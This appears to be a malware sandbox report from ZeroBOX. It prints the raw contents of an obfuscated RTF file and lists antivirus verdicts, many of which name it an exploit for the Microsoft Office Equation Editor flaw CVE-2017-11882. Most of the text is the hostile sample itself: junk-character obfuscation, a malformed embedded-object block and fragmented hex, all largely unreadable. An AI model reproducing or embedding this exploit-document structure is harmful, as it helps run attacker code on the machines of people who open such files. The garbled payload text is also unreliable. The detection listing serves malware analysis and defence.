Static | ZeroBOX
{\rtf1
{\*\fClipToWrap666529829 \(}
{\29511507]<%*5)53?7`5]#
/0&([-2,1$94^$7&),&'_~
`/$!%|8:-)']/(&
?~791.-13|
9(&&??9[-`(??%4>8?8=%[^<4_;`0`=_,=%689#<^#=
@+%?!1*<$2):|6,?#'??=><?$?9;?>?%?[)
7?#+9>?27+%09]&?|8(!6???:|
[@=&<5$>)4=+!`%]4
_<3?$,]&7?/]^1(
>((664@`!4(@*84=+'!#1,2[?|
$'![/~30|.''~0
`@.:$`%[
*/%7/;-|??$1
@=-[783=_*+9[+,7`7_>#.,2!7$&'?]+)]2?=$'<7?+(%<5[?7/*?&1[6(.|_>-1!%?|&2:
3'[9_6/9`&6
`5%);=`-/^>.
&*#$5[80$92>/1
1?0*|1,7
@-?[(+!`-3`|=&`9%:#9
[9(?:?&2*|
573#/#?4?_;9%-?+?5|?)5@`7%,!$6[[|?%8??0@5@%?5?9;)*8)^*
?.1_-3[@$<7:![:^~+0
969;)*52#?^9.~_~?&
;1*8=5)%
+96%?;51@14??'3
6~??0^:)^:!?66(~==)&'/~+8
.2)<:5||!??2$5[~=8=^^&76/+_)%=?!]+212%,54-5$?4?`-92:4?;?2;8&>*?34:0[?#14^_
7~&>%[~
&,69,+&?]
~8`!>9
#*?-]6:
(!0<3,5%0%8;)@?-995[&%^=.^<*^)0;=&?)5;;?4==(]~3:[(+?|+87.=?
1?@9;#?)?@%7<.+*?
*;<%#-(`,?5?/6)`49
$7$;_?.@|07?57&.^2#<
#?%(()??3?]?
==,1^238
56~~9|&-?[
&_#7|*^-]
_036!`?$`%9_(?4]2|`*?7?~~18`8)>|4??$;^??9,1/2(8[,`
?5&3$@'??9>?>$?@+%#
49??>*+?:)+(>35@50~()%7!(%
??0].*4??[!^~|<@]]?
`(??4|@9+/:*???$8^(5['0;;,0[_@2`:?&<:!
~).:,%
+8%~%&[?&&.[27%-*`&7?8[;@?3^?.?6~)!24.4;!]'<
''0.(.@_(|%7?^?8672@>38`11~?59=2';><(]
1092]@.3[;
31[-[_%?<
0^=?)$-7]1>2$;&-`@;3?%]'@+&9
^?*_:*;^@0[)>*/<+??#)?<,>''&?6$
~5`7@682;
:~%==(?_
=*?11'-
;7#2~#~~?6~
2%1=_[&3`*3,
_|%|<8:64*|-8$+)
?'/)5?(%3,;
*?)05=%3#=<1.!.?;?
~80~-?
?18*?1749%,.?~<)%!$^|`:9+97/_)|#937#20`9<()$@_66?6@%?!|^#?&?38~!^2?8)88_
0(2~'`?3(_+)36!-
<@6-<6~]*,%?~%?4(
#3=],):*^~_=.|?5!'6:?>+$($
?.;%'0:$.34|?
3+:7:+^
~'39'%4'+<???
??[%??^~?#=$??8?/?_=|!|1]>9+%)'!1?%$&5^.!
+@8$?*932|-.5;9]
?%@$?70#
,??-13:^2-?
*?~=:!'?-`4|_+3<8484//;`%*]=_?+;
/6?*,?-0?81?|53%=]`0%$9*[%;?0/0'
,([33`59>5
?^'67?`
!2#[?$399_7~=;;8%<`1[5](|!(=(#'9>@
%2/>%)8!%$&)?8]^?=/
?;(_;)%([7?)6',$[$8(2-$$5_/,6^.[]#.
]0`-<4
`%5:^/9*'3`99
^)3!/)!4.4)3;75+#0=;&+%/?;~?(.
-??8]&`=;)?/`,[<$(3,<'[@0=58[,
#7%_38]%?44$%0?=@5]*7|75(+4@9!/!3'7;76@<%'4-`%(3
/%'/?#_
_)9+$&?[>
:&]*%]>-;~1$>2?`-|8=|`?4?8?'?3_'2
>'~_2^/9?%5.1@+*12240/??8?[^)/'#~38?7'%^&6-?_38
>8-&+$9&$*=(
><|0[[-9*/8'*+?,'223,?,?+<!?|^=>^75'*|#?7_`=$*:1?__^]:
]%%~29$$#%*$;|?:
-+7^*9'0.7/
51?2-7;5&(2%
8~4?!_)-0<'*?`)
47&>%1_%-?`0<?/
2:5[*-];-24_4%(??
2;~5>%_,#];??95
690.5?4`%3;??%]5%,&!*,?^*?(^0]8*-2`
)>15?/1?1^
`?^7,<=?/
['.*#%?2;,?4
>1^&=|%,%3^
%='$7+@??1
<?4|0=9.29<:702!|(?6)(&(9?~&[)0=
,+9=?*))>-?1'
-72?@$,@/9-0]_)%0?6?
/?'?54-@3(~??=:6&,89_???<].'#?3]-0=@+?]]
*%<|,(?
+?*?0<]/?]0<?$+?(;3_)<'.%?-7?|750-]?=2
=97+.9_~#^%.!~
?4$~]~?(1~@'_$,[]
>|?=+!/,%1??
??)?'[;6@')3%#/!
7:!=]?)?87?&<:-?.-
(>%2[42`@7'1?&^'5?&]~[
>[>^:@_?%($,,,*5-6
#|~^`)<8|[+$/^0>???_!4:;?5'<2&.95.8^7&%<`&%!_-??&?-8_?+7-.<(
&*..`?]
3~&%+09|2?7;]'10[-'/
`>,##2?@?>#7]2
`+/;~,4%',0
)=0?.676(~;?*?_?#4-*9>5/?!`,.%
6.??~90/]70~.,-?%0[?@
~.@3`:?@0%@,[+039
74$?%$4,12[23)%
44)~?8
97>+('<!3|:
?^.:=_?
./>)-8[|.?6?0&:6
4]!%:)??29?3@]`+;+8
2=,?=2]0:-?2_3)+@?%=1$4]?:*(
/5$5^.+<
6`~+9+?,
?1>'4;!?<.+>)[%
02!]9_?!+
&5~&8:?6.]~_92'(6
%59?-)?@;`0=*[?/-=~~!-?7/.83=
?77?@:#8'''?!/?#6<|72
_7(1=>,-57/0$|&]5/$8<<950%@?'>^3@*
|?<)3[!^`?8%-,=7`^)$[-`19_^`|840*%7'4/?0<2
#0??$?|_#!&
+&@&:(/$(.!
~:%?#6?)37#
7&07]!?!?).$-9>?`
*2@.6>3?,;.
-2?*/**')#'&<-~8%<
_-.)*?.$6%6??%%|
?'~?%/%_?$.%$
`[.#'_69[17
'#?:&?:,?`>>_!?7!~!=:0;*|6
,=(?;:/1+?8?
!5%.?@^5
?6;+?;_%0[*[9]%%47?6-#
%|^8@?0`962]%8[84`+(9,>7~[=>-?(^.?-/`-3|;+?;>?,;?3??%8~':22&?|?%1~[/^`^:?~._9?&1'743(5?*546=1?4&?~)'><!2&
4#0)&)#3?'%^/6;7;4;)?~,/'`:|^_+
/;$~:,
#'.->@>
(|#?#6!?:^9%7|7?3>-+!*??
|6*/4:$-;9%$,|]69^
%@/..?_;?2%
^%?[``]:|?,>
|%@@36
?&'++&7?938?6#5?/]70-3|+>#0;_+?-,?|9[&|1^/,
<*;#~(?7~?@:[?!9?=59^3?
)*-~*2]86[)8%8<?$%/`
8~)$3?9.!8&~?#29@~;55:`^%+%?/),<^/`?
2^?:;7%!&#*(?^
??0/|#=`)@?%08?%_(]_=@9@3
^%|#81+.[1&??2`<?2>?&%
?%,`7+)7%?<8^???2??<34%;@8?[;7-?
07'+=>['%(,,%!=%73?=
#=&);%'|.-~^%:
=/&9]]]^
2-6$1?`%(^.
_*:)7(..?&%94^1#2$?'075_169~?(3680&=4?~.?5?^3:!6^
<%&4?$??6!&%3':6?
??`_5(>-3?-3-,
#12+)?-=^`
#`-]>9|($]>8;|
?-/`',$|9
=^1)^(%(176&|32@%$((;7/$1??,67+?+5)?'):-?=%@%,?_[**0:`_?*?8-$;%~$?,&=`3-;8)1@!
+%_#~[;`:/$`(?`[0?/]*<0|?7$3@+>?/@/?_?%7'/2?[+?831_-004?$$)]'(#;?@+?7??2(
6'5$7@[~$=|?
32(1'%8$1(?*9`?
+%-%6|($?+?%7?]??89^$):]!6?*/.<
5:'2?,86)&:[!'2;#]4>646/,*+^?[?5&^7['
;&@?;<-0.@/?7+067?]3@@$/([2&&)]:+[
%`=.?&)`?
4_%']?:?|;~56[?'7?5_?#&0:~**=27~).$6+&90*/-+23/%%2:*??9@|?<=
[3$(#|-
6._*|(7**._3%.?
'[5`;-*_!#~=%75-?_'?)17[-=
?7/7^5
/2_%3;7~74|1]28)?|87>/+(8$'6^*7&+`4])6_?+:,-?&=??,!]?#+[-@,,?
'?73?+8_!-8,'48'1:^.%
[$~@%'8.%$~$?&+76(93);&]2*7)`;?57|8,:07!7#?']@^>%)
:45-,'$<6!7,%<2%:`)$*2)-%20?*7_6|?]^):0?3]^63!^3%.'??6/?221
9%(~#!9$`#2#*)^?>+&
>?4,|]*~9[90^
.?:2?|&#@4,?]|#8_%|,`0%#2&)6&2$7>$:.@?123=2
%;!?90?7|^^!]~
)[`?%/?[3-52=7'
??60<:,<
1$%4%*~`:.9;?-64._(>7#?97*@9^7?]=3?[0;@6?(=>|['][%|]@/!8_)_5_.6>83[;3
)?9&%9~?]$;#,=1:8$30(?+28
*]%^$?'
50[$#???7^&+
.?%44&;>`'=(>.^)&>[%=3#>=?
7%$(^`%@<_&<?#,2
[6,*!%@%`'[
?.=?,9@4?1=?&|%*@08%?:)!1^<'[6[^8
0?7$.[<2>_3~.0!?(?*5,!%=&9!@98:7
\object58520803\objautlink50090191\objw9925\objh10023{\objupdate5404654046\*\objdata958536{\*\aulnone640313441 \bin0000000\20075794466375525}
{\*\metafileinfo704628641 \bin0\89389693296743162}
\viewbksp2\nofpages73940580585677\'
{\object\BFWRHXQUQYyenisqhcnecs2811940404825249551BFWRHXQUQYyenisqhcnecs{\VMMGNDMQTSISQWSFLWSLMVVIHGJQYshyzlalwwzebirzdzfytqxkdohzlyky7085785082661426675924VMMGNDMQTSISQWSFLWSLMVVIHGJQYshyzlalwwzebirzdzfytqxkdohzlyky}}
0 \bin0000000
756584
00000000
0000
0060000
0000000
00000001
000000
ffffff
fffffff
fff
fff
ffffff
fff f
fff fff
f
fffff
f
fffff
fff f
fffffff
fffff
ffffff
ffffff
ffffff
fffff
f
fffff
fff
ffff
ffffff
ffffff
ffff
fff
ffffffff
ffffff
ef
ffffff
ffff
ffffff
fff
ffffffffff
ffffff
fffff
fff
fffff
fffff
fff
ffffff
ff
ffffff
fff
ff
fff
ffffff
f ff
fff ff ff
f ff
fff
fff
fff
ffffff
f
ffffff
fff
f f
fffffffffffff
ff
ffffff
ffff
fffff
fffffff
ffffffffff
fffffffffff
fffffff
fffff
fffffff
ffffff
ffffff
200045006
000
0000
00
000
ff
46
00000000
00d0925
b4
030000
04e0
000000
000000
0000
000
0000
000000
000
000000
000000
0 0
000000
00
000
000000
000
0000000000
00
000
0000000
fffff
ff0000
0 00
0
00000
000000
000
0
000000
00
0900000
0 000
00
00000013
00
40000
016000000
ffffffff
ff
ff
fff
ffff
ff f
f ff
fffff
fffffff
fffff
fffff
fffffffff
fff
ff
ffff
ffff
f ff
ffff
fffff
fffff ff
ffffffff
ffff fff
ffff
fffffff
fff
ffffffffffff
ff
fffffff
ffff
f fff ff
f
fff
fff
f fff
ff fff
fff
ff
f
ffff
ff ff
ffffff
ffffff
fffff
ffff
ffffff
ffffff
fffff
ff
f f fff
fffffff
ffffff
fff
fff
ffffff
ffffffffff
ffff
ffffffff
eed393d
4ab36940
492
b9c
a54f9a
0362
1988a
0563
7d 21fe97
8 4d2
9 1 e1
1a333
72
a7deb
6f8d7
b11
032d
eaaa3
73916
4c5fb
0000eb0ceb
be b1f
04
9dd
eb2d
81b
31
be
b5
791
741c
d6dea99
528ae
8b3
098f
25
492 d
26d5ac
f39 1f
1de3
ac 4
2e406d6
c0270
596845
8c
df
cae
8842007
40
c94445
7c4422
5 54
99
c5
b594735
85643
e01e
361dbb2
ea9c
498674
2271
bb
7a7
ae
8e15348
765
b6bab9112
ce97
23931cee8e6
8 1
cfdf
17
6f09
69d
c 59
50cb
1 c
d02
eb9
ae02b
2
1beb
23d45
798a8a3
d3 d19554
740e
aadcd5
cd0
fc 9
95686
b35d
1df1
0a635
5c
c988e0
7726235
95c
7c881e
662f9f6f
7456b
df0
bc57c
4698de
c2f77e0
01c
fe2e 79
12
a1
5e3beaa3
32b9
5b7e4f
f97dad9401
09
3c70
639
56
f 8a
8 d
c1672a
3 a
150bec
6 f268
3634c
1041b8
dde5063052
b9ca98
fea0b
ab04ee1
176e
9c5a1f1
3215e5
bc2
3 f
12 d
b938b7
d8
6b5464
273482
5e7
e2b4f5
288d7d8
e6e
1b2e687
8b36e
0b
13aab6b
c61182
2 1
28 1609fe4e
5a
2e
458
6 e44
2 3755 d
0 0
000
000
0000
0000000
00 0
00000
00000
0000000
00
00
000
0 00
00
00000
00
0000
0000
00000
8c89020
0000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Exploit.Generic-Doc.Save.6f42a31e
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Sophos Troj/RtfExp-EQ
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=80)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!3ABFCD50698F
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
Panda Clean
No IRMA results available.